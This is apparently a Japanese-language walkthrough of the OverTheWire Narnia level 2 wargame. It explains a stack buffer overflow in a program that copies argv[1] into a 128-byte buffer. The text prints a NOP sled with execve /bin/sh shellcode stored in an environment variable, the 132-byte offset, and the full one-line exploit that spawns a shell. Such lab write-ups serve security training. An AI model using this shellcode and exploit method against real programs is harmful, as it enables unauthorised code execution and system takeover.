OverTheWire:Narnia2
narnia2 で ssh 接続。
ssh narnia2@narnia.labs.overthewire.org -p 2226
今回のお題(/narnia/narnia2.c ) はこちら。
buf[128] に argv[1]をそのままコピーしているため、argv[1]に128文字以上の文字を入力すればオーバーフローが起きてしまうのが、このプログラムの脆弱性である。
実際に "A"を 128文字以上入力して、デバッガ(gdb)を使って何がおきるか見てみよう。
プログラムは メモリの 0x41414141番地に制御を移そうとしてエラー終了してしまった。 0x41 は "A" だから入力したデータによって、プログラムの制御を変えられることになる。では、"A"を何文字入れたら、プログラムの制御に影響が出るだろうか? 128文字から一文字ずつ増やして試してみよう。
132バイト入力すれば、プログラムの制御を変えられることが判った。
つまり、「Aを132文字」+「制御を移したいアドレス」を入力すれば、そこにプログラムの制御を移すことができる。
目標は、buf [128]をオーバーフローさせてプログラムの制御を奪い、シェルを起動することだった。なので、前ステージに倣って、環境変数 EGG にシェルコードを書いておき、「Aを132文字」+「EGGのアドレス」を入力すれば良いことになる。
ということで、環境変数を用意する。アドレスが多少ズレても良いように、シェルコードの前にNOP(0x90:アセンブラで「何もしない」命令)を32バイトならべて作成する。
export EGG=$(perl -e 'print "\x90"x32 ."\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"')
環境変数EGG のアドレスを求めるために簡単なプログラム(getenv.c) を書いて調べてみることにする。
32bitでコンパイルして実行してみる。
EGG のアドレスは 0xffffde86 になることが判った。
あとは、プログラムにこれらのデータを注入すれば良い。
注入するデータは「"A"×132 + "EGGのアドレス"」、アドレスはリトルエンディアンで下桁から順に書くことに注意。
/narnia/narnia2 $(perl -e 'print "A"x132 . "\x86\xde\xff\xff"')
想定どおり、シェルを起動することができた。これでパスワードを読むことができる。
というわけで、次のステージへ。。